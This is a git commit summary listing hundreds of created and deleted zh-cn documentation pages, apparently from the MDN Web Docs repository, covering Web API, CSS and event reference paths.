files/zh-cn/web/xslt/element/index.html | 53 + files/zh-cn/web/xslt/elements/index.html | 53 - .../autoplay_guide/index.html" | 265 -- .../zh-cn/web/\345\252\222\344\275\223/index.html" | 76 - .../index.html" | 154 -- 645 files changed, 43187 insertions(+), 63954 deletions(-) create mode 100644 files/zh-cn/web/accessibility/aria/aria_techniques/using_the_aria-hidden_attribute/index.html delete mode 100644 files/zh-cn/web/accessibility/aria/aria_techniques/using_the_button_role/index.html delete mode 100644 "files/zh-cn/web/accessibility/aria/aria_techniques/\344\275\277\347\224\250aria-hidden\345\261\236\346\200\247/index.html" create mode 100644 files/zh-cn/web/accessibility/aria/roles/button_role/index.html delete mode 100644 files/zh-cn/web/accessibility/web_development/index.html create mode 100644 files/zh-cn/web/api/abortcontroller/abort/index.html create mode 100644 files/zh-cn/web/api/abortcontroller/abortcontroller/index.html create mode 100644 files/zh-cn/web/api/abortcontroller/index.html create mode 100644 files/zh-cn/web/api/ambient_light_events/index.html create mode 100644 files/zh-cn/web/api/ambientlightsensor/illuminance/index.html delete mode 100644 files/zh-cn/web/api/ambientlightsensor/reading/index.html delete mode 100644 files/zh-cn/web/api/analysernode/fft/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createanalyser/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createbiquadfilter/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createbuffer/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createbuffersource/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createchannelmerger/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createchannelsplitter/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createconvolver/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createdelay/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createscriptprocessor/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createwaveshaper/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/currenttime/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/decodeaudiodata/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/destination/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/listener/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/mozaudiochanneltype/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/onstatechange/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/samplerate/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/state/index.html delete mode 100644 files/zh-cn/web/api/audionode/connect(audioparam)/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createanalyser/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createbiquadfilter/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createbuffer/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createbuffersource/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createchannelmerger/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createchannelsplitter/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createconvolver/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createdelay/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createscriptprocessor/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createwaveshaper/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/currenttime/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/decodeaudiodata/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/destination/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/listener/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/onstatechange/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/samplerate/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/state/index.html create mode 100644 files/zh-cn/web/api/broadcastchannel/message_event/index.html delete mode 100644 files/zh-cn/web/api/canvas_api/drawing_graphics_with_canvas/index.html delete mode 100644 files/zh-cn/web/api/canvascapturemediastream/index.html create mode 100644 files/zh-cn/web/api/canvascapturemediastreamtrack/index.html create mode 100644 files/zh-cn/web/api/channel_messaging_api/using_channel_messaging/index.html delete mode 100644 "files/zh-cn/web/api/channel_messaging_api/\344\275\277\347\224\250_channel_messaging/index.html" create mode 100644 files/zh-cn/web/api/crypto/getrandomvalues/index.html delete mode 100644 files/zh-cn/web/api/cssmatrix/index.html create mode 100644 files/zh-cn/web/api/csspagerule/index.html delete mode 100644 "files/zh-cn/web/api/css\345\210\206\351\241\265\350\247\204\345\210\231/index.html" delete mode 100644 files/zh-cn/web/api/deviceacceleration/index.html delete mode 100644 files/zh-cn/web/api/devicelightevent/using_light_events/index.html create mode 100644 files/zh-cn/web/api/devicemotioneventacceleration/index.html delete mode 100644 files/zh-cn/web/api/document/cookie/simple_document.cookie_framework/index.html delete mode 100644 files/zh-cn/web/api/document/elementfrompoint/index.html delete mode 100644 files/zh-cn/web/api/document/elementsfrompoint/index.html create mode 100644 files/zh-cn/web/api/document/fullscreen/index.html create mode 100644 files/zh-cn/web/api/document/fullscreenenabled/index.html delete mode 100644 files/zh-cn/web/api/document/getselection/index.html delete mode 100644 files/zh-cn/web/api/document/inputencoding/index.html delete mode 100644 files/zh-cn/web/api/document/mozfullscreen/index.html delete mode 100644 files/zh-cn/web/api/document/mozfullscreenelement/index.html delete mode 100644 files/zh-cn/web/api/document/mozfullscreenenabled/index.html create mode 100644 files/zh-cn/web/api/document/onafterscriptexecute/index.html delete mode 100644 files/zh-cn/web/api/document/pointerlockelement/index.html create mode 100644 files/zh-cn/web/api/document/readystatechange_event/index.html delete mode 100644 files/zh-cn/web/api/document/rouchmove_event/index.html delete mode 100644 files/zh-cn/web/api/document/stylesheets/index.html create mode 100644 files/zh-cn/web/api/document/touchmove_event/index.html delete mode 100644 files/zh-cn/web/api/document_object_model/preface/index.html create mode 100644 files/zh-cn/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.html create mode 100644 files/zh-cn/web/api/documentorshadowroot/fullscreenelement/index.html create mode 100644 files/zh-cn/web/api/documentorshadowroot/pointerlockelement/index.html delete mode 100644 files/zh-cn/web/api/element/accesskey/index.html delete mode 100644 files/zh-cn/web/api/element/activate_event/index.html create mode 100644 files/zh-cn/web/api/element/afterscriptexecute_event/index.html create mode 100644 files/zh-cn/web/api/element/beforescriptexecute_event/index.html create mode 100644 files/zh-cn/web/api/element/blur_event/index.html create mode 100644 files/zh-cn/web/api/element/compositionend_event/index.html create mode 100644 files/zh-cn/web/api/element/compositionstart_event/index.html create mode 100644 files/zh-cn/web/api/element/compositionupdate_event/index.html create mode 100644 files/zh-cn/web/api/element/copy_event/index.html create mode 100644 files/zh-cn/web/api/element/cut_event/index.html create mode 100644 files/zh-cn/web/api/element/domactivate_event/index.html create mode 100644 files/zh-cn/web/api/element/error_event/index.html create mode 100644 files/zh-cn/web/api/element/focus_event/index.html create mode 100644 files/zh-cn/web/api/element/focusout_event/index.html create mode 100644 files/zh-cn/web/api/element/mousewheel_event/index.html delete mode 100644 files/zh-cn/web/api/element/name/index.html delete mode 100644 files/zh-cn/web/api/element/onafterscriptexecute/index.html delete mode 100644 files/zh-cn/web/api/element/ongotpointercapture/index.html create mode 100644 files/zh-cn/web/api/element/paste_event/index.html create mode 100644 files/zh-cn/web/api/elementcssinlinestyle/style/index.html delete mode 100644 files/zh-cn/web/api/entity/index.html delete mode 100644 files/zh-cn/web/api/event.altkey/index.html delete mode 100644 files/zh-cn/web/api/event.button/index.html delete mode 100644 files/zh-cn/web/api/event.relatedtarget/index.html delete mode 100644 files/zh-cn/web/api/event.shiftkey/index.html create mode 100644 files/zh-cn/web/api/event/cancelbubble/index.html delete mode 100644 files/zh-cn/web/api/event/createevent/index.html delete mode 100644 files/zh-cn/web/api/event/deeppath/index.html delete mode 100644 "files/zh-cn/web/api/event/\347\246\201\347\224\250\346\227\266\351\227\264\345\206\222\346\263\241/index.html" create mode 100644 files/zh-cn/web/api/eventsource/close/index.html create mode 100644 files/zh-cn/web/api/eventsource/eventsource/index.html create mode 100644 files/zh-cn/web/api/eventsource/index.html create mode 100644 files/zh-cn/web/api/eventsource/onerror/index.html create mode 100644 files/zh-cn/web/api/eventsource/onopen/index.html delete mode 100644 files/zh-cn/web/api/eventtarget/attachevent/index.html delete mode 100644 files/zh-cn/web/api/eventtarget/detachevent/index.html delete mode 100644 files/zh-cn/web/api/eventtarget/fireevent/index.html delete mode 100644 files/zh-cn/web/api/fetchcontroller/abort/index.html delete mode 100644 files/zh-cn/web/api/fetchcontroller/abortcontroller/index.html delete mode 100644 files/zh-cn/web/api/fetchcontroller/index.html delete mode 100644 files/zh-cn/web/api/fetchobserver/index.html create mode 100644 files/zh-cn/web/api/file_and_directory_entries_api/introduction/index.html create mode 100644 files/zh-cn/web/api/filereader/abort_event/index.html delete mode 100644 "files/zh-cn/web/api/filereader/\344\270\255\346\255\242\344\272\213\344\273\266(abort)/index.html" create mode 100644 files/zh-cn/web/api/formdata/delete/index.html delete mode 100644 "files/zh-cn/web/api/formdata/\345\210\240\351\231\244/index.html" create mode 100644 files/zh-cn/web/api/fullscreen_api/guide/index.html delete mode 100644 "files/zh-cn/web/api/fullscreen_api/\346\214\207\345\215\227/index.html" delete mode 100644 files/zh-cn/web/api/geolocation/using_geolocation/index.html create mode 100644 files/zh-cn/web/api/geolocation_api/index.html create mode 100644 files/zh-cn/web/api/geolocationposition/timestamp/index.html delete mode 100644 "files/zh-cn/web/api/geolocationposition/\350\216\267\345\217\226\350\257\245\344\275\215\347\275\256\346\227\266\347\232\204\346\227\266\351\227\264\346\210\263/index.html" delete mode 100644 files/zh-cn/web/api/globaleventhandlers/globaleventhanders.ontouchmove/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/ondurationchange/index.html delete mode 100644 "files/zh-cn/web/api/globaleventhandlers/\346\227\266\351\225\277\346\224\271\345\217\230/index.html" delete mode 100644 files/zh-cn/web/api/htmlanchorelement/referrer/index.html create mode 100644 files/zh-cn/web/api/htmlanchorelement/referrerpolicy/index.html create mode 100644 files/zh-cn/web/api/htmlcanvaselement/capturestream/index.html delete mode 100644 "files/zh-cn/web/api/htmlcanvaselement/\346\215\225\350\216\267\346\265\201/index.html" create mode 100644 files/zh-cn/web/api/htmlelement/accesskey/index.html create mode 100644 files/zh-cn/web/api/htmlelement/animationend_event/index.html create mode 100644 files/zh-cn/web/api/htmlelement/animationstart_event/index.html delete mode 100644 files/zh-cn/web/api/htmlelement/blur/index.html create mode 100644 files/zh-cn/web/api/htmlelement/change_event/index.html delete mode 100644 files/zh-cn/web/api/htmlelement/dataset/index.html delete mode 100644 files/zh-cn/web/api/htmlelement/focus/index.html create mode 100644 files/zh-cn/web/api/htmlelement/innertext/index.html create mode 100644 files/zh-cn/web/api/htmlelement/input_event/index.html delete mode 100644 files/zh-cn/web/api/htmlelement/nonce/index.html delete mode 100644 files/zh-cn/web/api/htmlelement/style/index.html delete mode 100644 files/zh-cn/web/api/htmlelement/tabindex/index.html create mode 100644 files/zh-cn/web/api/htmlelement/transitionend_event/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/hash/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/href/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/origin/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/password/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/pathname/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/search/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/tostring/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/username/index.html delete mode 100644 files/zh-cn/web/api/htmlinputelement/mozsetfilenamearray/index.html create mode 100644 files/zh-cn/web/api/htmlorforeignelement/blur/index.html create mode 100644 files/zh-cn/web/api/htmlorforeignelement/dataset/index.html create mode 100644 files/zh-cn/web/api/htmlorforeignelement/focus/index.html create mode 100644 files/zh-cn/web/api/htmlorforeignelement/nonce/index.html create mode 100644 files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html create mode 100644 files/zh-cn/web/api/index/index.html create mode 100644 files/zh-cn/web/api/intersection_observer_api/timing_element_visibility/index.html delete mode 100644 "files/zh-cn/web/api/intersection_observer_api/\347\202\271\350\247\202\345\257\237\350\200\205api\347\232\204\346\227\266\345\272\217\345\205\203\347\264\240\345\217\257\350\247\201\346\200\247/index.html" delete mode 100644 files/zh-cn/web/api/mediastream.addtrack/index.html create mode 100644 files/zh-cn/web/api/mediastream/addtrack/index.html delete mode 100644 files/zh-cn/web/api/msselection/index.html delete mode 100644 files/zh-cn/web/api/namelist/index.html delete mode 100644 files/zh-cn/web/api/navigatorgeolocation/index.html delete mode 100644 "files/zh-cn/web/api/navigatorplugins/\346\265\213\350\257\225\346\273\225\347\233\226/index.html" delete mode 100644 files/zh-cn/web/api/node/baseuriobject/index.html delete mode 100644 files/zh-cn/web/api/node/innertext/index.html delete mode 100644 files/zh-cn/web/api/node/nodeprincipal/index.html delete mode 100644 files/zh-cn/web/api/node/outertext/index.html delete mode 100644 files/zh-cn/web/api/node/rootnode/index.html delete mode 100644 files/zh-cn/web/api/notification/sound/index.html delete mode 100644 files/zh-cn/web/api/notification/using_web_notifications/index.html create mode 100644 files/zh-cn/web/api/notifications_api/using_the_notifications_api/index.html delete mode 100644 files/zh-cn/web/api/offlineaudiocontext/complete/index.html create mode 100644 files/zh-cn/web/api/offlineaudiocontext/complete_event/index.html create mode 100644 files/zh-cn/web/api/payment_request_api/concepts/index.html create mode 100644 files/zh-cn/web/api/payment_request_api/index.html create mode 100644 files/zh-cn/web/api/performance/memory/index.html delete mode 100644 "files/zh-cn/web/api/performance/\345\206\205\345\255\230/index.html" create mode 100644 files/zh-cn/web/api/pointer_lock_api/index.html delete mode 100644 files/zh-cn/web/api/push_api/using_the_push_api/index.html delete mode 100644 files/zh-cn/web/api/randomsource/getrandomvalues/index.html delete mode 100644 files/zh-cn/web/api/randomsource/index.html create mode 100644 files/zh-cn/web/api/response/clone/index.html delete mode 100644 "files/zh-cn/web/api/response/\345\205\213\351\232\206/index.html" create mode 100644 files/zh-cn/web/api/rtcpeerconnection/icecandidate_event/index.html create mode 100644 files/zh-cn/web/api/screen_capture_api/using_screen_capture/index.html delete mode 100644 "files/zh-cn/web/api/screen_capture_api/\344\275\277\347\224\250\345\261\217\345\271\225\346\215\225\350\216\267api/index.html" create mode 100644 files/zh-cn/web/api/selection/deletefromdocument/index.html delete mode 100644 "files/zh-cn/web/api/selection/\344\273\216document\344\270\255\345\210\240\351\231\244/index.html" create mode 100644 files/zh-cn/web/api/server-sent_events/index.html create mode 100644 files/zh-cn/web/api/server-sent_events/using_server-sent_events/index.html delete mode 100644 files/zh-cn/web/api/slotable/index.html create mode 100644 files/zh-cn/web/api/speechrecognition/index.html create mode 100644 files/zh-cn/web/api/speechrecognition/result_event/index.html delete mode 100644 files/zh-cn/web/api/storage/localstorage/index.html create mode 100644 files/zh-cn/web/api/streams_api/concepts/index.html create mode 100644 files/zh-cn/web/api/streams_api/using_readable_streams/index.html delete mode 100644 "files/zh-cn/web/api/streams_api/\344\275\277\347\224\250\345\217\257\350\257\273\346\226\207\344\273\266\346\265\201/index.html" delete mode 100644 "files/zh-cn/web/api/streams_api/\346\246\202\345\277\265/index.html" delete mode 100644 files/zh-cn/web/api/textrange/text/index.html create mode 100644 files/zh-cn/web/api/uievent/view/index.html delete mode 100644 "files/zh-cn/web/api/uievent/\350\247\206\345\233\276/index.html" create mode 100644 files/zh-cn/web/api/url/password/index.html delete mode 100644 "files/zh-cn/web/api/url/\345\257\206\347\240\201/index.html" delete mode 100644 files/zh-cn/web/api/urlutils/hash/index.html delete mode 100644 files/zh-cn/web/api/urlutils/href/index.html delete mode 100644 files/zh-cn/web/api/urlutils/index.html delete mode 100644 files/zh-cn/web/api/urlutils/origin/index.html delete mode 100644 files/zh-cn/web/api/urlutils/password/index.html delete mode 100644 files/zh-cn/web/api/urlutils/pathname/index.html delete mode 100644 files/zh-cn/web/api/urlutils/search/index.html delete mode 100644 files/zh-cn/web/api/urlutils/tostring/index.html delete mode 100644 files/zh-cn/web/api/urlutils/username/index.html create mode 100644 files/zh-cn/web/api/web_audio_api/best_practices/index.html delete mode 100644 "files/zh-cn/web/api/web_audio_api/\346\234\200\344\275\263\345\256\236\350\267\265/index.html" create mode 100644 files/zh-cn/web/api/web_workers_api/structured_clone_algorithm/index.html create mode 100644 files/zh-cn/web/api/webglrenderingcontext/polygonoffset/index.html delete mode 100644 "files/zh-cn/web/api/webglrenderingcontext/\345\244\232\350\276\271\345\275\242\345\201\217\347\247\273(polygonoffset)/index.html" delete mode 100644 files/zh-cn/web/api/webrtc_api/architecture/index.html delete mode 100644 files/zh-cn/web/api/webrtc_api/overview/index.html create mode 100644 files/zh-cn/web/api/webrtc_api/session_lifetime/index.html delete mode 100644 files/zh-cn/web/api/webrtc_api/webrtc_basics/index.html create mode 100644 files/zh-cn/web/api/websocket/binarytype/index.html delete mode 100644 "files/zh-cn/web/api/websocket/\344\272\214\350\277\233\345\210\266\347\261\273\345\236\213/index.html" delete mode 100644 files/zh-cn/web/api/websockets_api/websocket_server_vb.net/index.html create mode 100644 files/zh-cn/web/api/window/afterprint_event/index.html create mode 100644 files/zh-cn/web/api/window/beforeprint_event/index.html create mode 100644 files/zh-cn/web/api/window/beforeunload_event/index.html create mode 100644 files/zh-cn/web/api/window/blur/index.html delete mode 100644 files/zh-cn/web/api/window/clearinterval/index.html create mode 100644 files/zh-cn/web/api/window/domcontentloaded_event/index.html delete mode 100644 files/zh-cn/web/api/window/getattention/index.html create mode 100644 files/zh-cn/web/api/window/load_event/index.html delete mode 100644 files/zh-cn/web/api/window/onbeforeunload/index.html delete mode 100644 files/zh-cn/web/api/window/onhashchange/index.html delete mode 100644 files/zh-cn/web/api/window/onmouseup/index.html delete mode 100644 files/zh-cn/web/api/window/onpopstate/index.html delete mode 100644 files/zh-cn/web/api/window/onscroll/index.html delete mode 100644 files/zh-cn/web/api/window/onunload/index.html create mode 100644 files/zh-cn/web/api/window/pageshow_event/index.html delete mode 100644 files/zh-cn/web/api/window/restore/index.html delete mode 100644 files/zh-cn/web/api/window/setinterval/index.html delete mode 100644 files/zh-cn/web/api/window/settimeout/index.html create mode 100644 files/zh-cn/web/api/window/unhandledrejection_event/index.html create mode 100644 files/zh-cn/web/api/window/unload_event/index.html delete mode 100644 files/zh-cn/web/api/window/url/index.html delete mode 100644 files/zh-cn/web/api/window/window.blur()/index.html delete mode 100644 files/zh-cn/web/api/windowbase64/atob/index.html delete mode 100644 files/zh-cn/web/api/windowbase64/base64_encoding_and_decoding/index.html delete mode 100644 files/zh-cn/web/api/windowbase64/btoa/index.html create mode 100644 files/zh-cn/web/api/windoweventhandlers/onbeforeunload/index.html create mode 100644 files/zh-cn/web/api/windoweventhandlers/onhashchange/index.html create mode 100644 files/zh-cn/web/api/windoweventhandlers/onpopstate/index.html create mode 100644 files/zh-cn/web/api/windoweventhandlers/onunload/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/atob/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/btoa/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/clearinterval/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/cleartimeout/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/setinterval/index.html create mode 100644 files/zh-cn/web/api/windoworworkerglobalscope/settimeout/index.html delete mode 100644 files/zh-cn/web/api/windowtimers/cleartimeout/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/loadend_event/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/loadstart_event/index.html create mode 100644 files/zh-cn/web/api/xmlhttprequest/progress_event/index.html create mode 100644 files/zh-cn/web/api/xmlserializer/index.html delete mode 100644 "files/zh-cn/web/api/\346\214\207\346\225\260/index.html" delete mode 100644 "files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/concepts/index.html" delete mode 100644 "files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/index.html" delete mode 100644 "files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/index.html" delete mode 100644 "files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/result_event/index.html" delete mode 100644 files/zh-cn/web/css/@viewport/height/index.html delete mode 100644 files/zh-cn/web/css/@viewport/orientation/index.html delete mode 100644 files/zh-cn/web/css/@viewport/viewport-fit/index.html delete mode 100644 files/zh-cn/web/css/@viewport/width/index.html delete mode 100644 files/zh-cn/web/css/@viewport/zoom/index.html delete mode 100644 files/zh-cn/web/css/_colon_-moz-placeholder/index.html delete mode 100644 files/zh-cn/web/css/_colon_any/index.html create mode 100644 files/zh-cn/web/css/_colon_blank/index.html delete mode 100644 "files/zh-cn/web/css/_colon_blank\347\251\272\347\231\275\344\274\252\347\261\273/index.html" delete mode 100644 files/zh-cn/web/css/_doublecolon_-moz-placeholder/index.html delete mode 100644 files/zh-cn/web/css/all_about_the_containing_block/index.html delete mode 100644 files/zh-cn/web/css/common_css_questions/index.html create mode 100644 files/zh-cn/web/css/containing_block/index.html create mode 100644 files/zh-cn/web/css/css_background_and_borders/border-radius_generator/index.html create mode 100644 files/zh-cn/web/css/css_background_and_borders/box-shadow_generator/index.html delete mode 100644 files/zh-cn/web/css/css_background_and_borders/index.html delete mode 100644 files/zh-cn/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html delete mode 100644 "files/zh-cn/web/css/css_background_and_borders/\345\234\206\350\247\222\350\276\271\346\241\206\345\217\221\347\224\237\345\231\250/index.html" create mode 100644 files/zh-cn/web/css/css_backgrounds_and_borders/resizing_background_images/index.html delete mode 100644 files/zh-cn/web/css/css_backgrounds_and_borders/scaling_background_images/index.html create mode 100644 files/zh-cn/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html delete mode 100644 files/zh-cn/web/css/css_box_model/box-shadow_generator/index.html delete mode 100644 files/zh-cn/web/css/css_colors/index.html create mode 100644 files/zh-cn/web/css/css_columns/using_multi-column_layouts/index.html create mode 100644 files/zh-cn/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html delete mode 100644 "files/zh-cn/web/css/css_flexible_box_layout/flexbox_\347\232\204_\345\220\221\344\270\213_\346\224\257\346\214\201/index.html" delete mode 100644 files/zh-cn/web/css/css_flexible_box_layout/mixins/index.html create mode 100644 files/zh-cn/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html create mode 100644 files/zh-cn/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html delete mode 100644 files/zh-cn/web/css/css_flexible_box_layout/using_css_flexible_boxes/index.html delete mode 100644 files/zh-cn/web/css/css_flexible_box_layout/using_flexbox_to_lay_out_web_applications/index.html delete mode 100644 "files/zh-cn/web/css/css_flexible_box_layout/\345\205\270\345\236\213_\347\224\250\344\276\213_\347\232\204_flexbox/index.html" delete mode 100644 "files/zh-cn/web/css/css_flexible_box_layout/\345\274\271\346\200\247\347\233\222\345\255\220\344\270\216\345\205\266\344\273\226\345\270\203\345\261\200\346\226\271\346\263\225\347\232\204\350\201\224\347\263\273/index.html" create mode 100644 files/zh-cn/web/css/css_flow_layout/in_flow_and_out_of_flow/index.html delete mode 100644 "files/zh-cn/web/css/css_flow_layout/\345\234\250flow\344\270\255\345\222\214flow\344\271\213\345\244\226/index.html" create mode 100644 files/zh-cn/web/css/css_fragmentation/index.html delete mode 100644 files/zh-cn/web/css/css_grid_layout/css_grid,_logical_values_and_writing_modes/index.html create mode 100644 files/zh-cn/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html create mode 100644 files/zh-cn/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html delete mode 100644 "files/zh-cn/web/css/css_grid_layout/\345\210\251\347\224\250css\347\275\221\346\240\274\345\270\203\345\261\200\345\256\236\347\216\260\345\270\270\347\224\250\345\270\203\345\261\200/index.html" create mode 100644 files/zh-cn/web/css/css_images/implementing_image_sprites_in_css/index.html create mode 100644 files/zh-cn/web/css/css_images/using_css_gradients/index.html create mode 100644 files/zh-cn/web/css/css_lists_and_counters/consistent_list_indentation/index.html create mode 100644 files/zh-cn/web/css/css_lists_and_counters/using_css_counters/index.html create mode 100644 files/zh-cn/web/css/css_logical_properties/basic_concepts/index.html delete mode 100644 files/zh-cn/web/css/css_logical_properties/basic_conceptsjie/index.html create mode 100644 files/zh-cn/web/css/css_logical_properties/floating_and_positioning/index.html delete mode 100644 "files/zh-cn/web/css/css_logical_properties/\346\265\256\345\212\250\345\222\214\345\256\232\344\275\215/index.html" create mode 100644 files/zh-cn/web/css/css_positioning/understanding_z_index/adding_z-index/index.html create mode 100644 files/zh-cn/web/css/css_positioning/understanding_z_index/index.html create mode 100644 files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html create mode 100644 files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html create mode 100644 files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html create mode 100644 files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html create mode 100644 files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html create mode 100644 files/zh-cn/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html delete mode 100644 files/zh-cn/web/css/css_selectors/comparison_with_xpath/index.html create mode 100644 files/zh-cn/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html delete mode 100644 "files/zh-cn/web/css/css_\345\210\206\347\211\207/index.html" create mode 100644 files/zh-cn/web/css/cssom_view/coordinate_systems/index.html delete mode 100644 "files/zh-cn/web/css/cssom_view/\345\235\220\346\240\207\347\263\273/index.html" delete mode 100644 files/zh-cn/web/css/cursor/url/index.html create mode 100644 files/zh-cn/web/css/float/index.html create mode 100644 files/zh-cn/web/css/grid-template-rows/index.html create mode 100644 files/zh-cn/web/css/layout_cookbook/card/index.html create mode 100644 files/zh-cn/web/css/layout_cookbook/media_objects/index.html delete mode 100644 "files/zh-cn/web/css/layout_cookbook/\345\215\241\347\211\207/index.html" delete mode 100644 "files/zh-cn/web/css/layout_cookbook/\345\252\222\344\275\223\345\257\271\350\261\241/index.html" create mode 100644 files/zh-cn/web/css/media_queries/index.html create mode 100644 files/zh-cn/web/css/media_queries/testing_media_queries/index.html create mode 100644 files/zh-cn/web/css/media_queries/using_media_queries/index.html create mode 100644 files/zh-cn/web/css/offset/index.html create mode 100644 files/zh-cn/web/css/overflow-wrap/index.html create mode 100644 files/zh-cn/web/css/text-decoration-thickness/index.html delete mode 100644 files/zh-cn/web/css/timing-function/index.html create mode 100644 files/zh-cn/web/css/url()/index.html delete mode 100644 files/zh-cn/web/css/url/index.html create mode 100644 files/zh-cn/web/css/visual_formatting_model/index.html delete mode 100644 files/zh-cn/web/css/word-wrap/index.html delete mode 100644 "files/zh-cn/web/css/\345\201\217\347\247\273/index.html" delete mode 100644 "files/zh-cn/web/css/\345\252\222\344\275\223\346\237\245\350\257\242/index.html" delete mode 100644 "files/zh-cn/web/css/\346\226\207\346\234\254\350\243\205\351\245\260\347\272\277\345\216\232\345\272\246(\347\262\227\347\273\206)/index.html" delete mode 100644 "files/zh-cn/web/css/\347\275\221\346\240\274-\346\250\241\346\235\277-\345\210\227/index.html" create mode 100644 files/zh-cn/web/demos_of_open_web_technologies/index.html delete mode 100644 files/zh-cn/web/events/abort/index.html delete mode 100644 files/zh-cn/web/events/afterprint/index.html delete mode 100644 files/zh-cn/web/events/afterscriptexecute/index.html delete mode 100644 files/zh-cn/web/events/animationend/index.html delete mode 100644 files/zh-cn/web/events/animationstart/index.html delete mode 100644 files/zh-cn/web/events/beforeprint/index.html delete mode 100644 files/zh-cn/web/events/beforescriptexecute/index.html delete mode 100644 files/zh-cn/web/events/beforeunload/index.html delete mode 100644 files/zh-cn/web/events/blur/index.html delete mode 100644 files/zh-cn/web/events/change/index.html delete mode 100644 files/zh-cn/web/events/compositionend/index.html delete mode 100644 files/zh-cn/web/events/compositionstart/index.html delete mode 100644 files/zh-cn/web/events/compositionupdate/index.html delete mode 100644 files/zh-cn/web/events/copy/index.html delete mode 100644 files/zh-cn/web/events/cut/index.html delete mode 100644 files/zh-cn/web/events/domcontentloaded/index.html delete mode 100644 files/zh-cn/web/events/error/index.html delete mode 100644 files/zh-cn/web/events/focus/index.html delete mode 100644 files/zh-cn/web/events/focusout/index.html delete mode 100644 files/zh-cn/web/events/icecandidate/index.html delete mode 100644 files/zh-cn/web/events/input/index.html delete mode 100644 files/zh-cn/web/events/load/index.html delete mode 100644 files/zh-cn/web/events/loadend/index.html delete mode 100644 files/zh-cn/web/events/loadstart/index.html delete mode 100644 files/zh-cn/web/events/message/index.html delete mode 100644 files/zh-cn/web/events/mousewheel/index.html delete mode 100644 files/zh-cn/web/events/pageshow/index.html delete mode 100644 files/zh-cn/web/events/paste/index.html delete mode 100644 "files/zh-cn/web/events/readystatechange\344\272\213\344\273\266/index.html" delete mode 100644 files/zh-cn/web/events/transitionend/index.html delete mode 100644 files/zh-cn/web/events/unhandledrejection/index.html delete mode 100644 files/zh-cn/web/events/unload/index.html delete mode 100644 "files/zh-cn/web/events/\350\277\233\345\272\246\346\235\241/index.html" delete mode 100644 files/zh-cn/web/guide/api/dom/index.html delete mode 100644 files/zh-cn/web/guide/api/dom/storage/index.html delete mode 100644 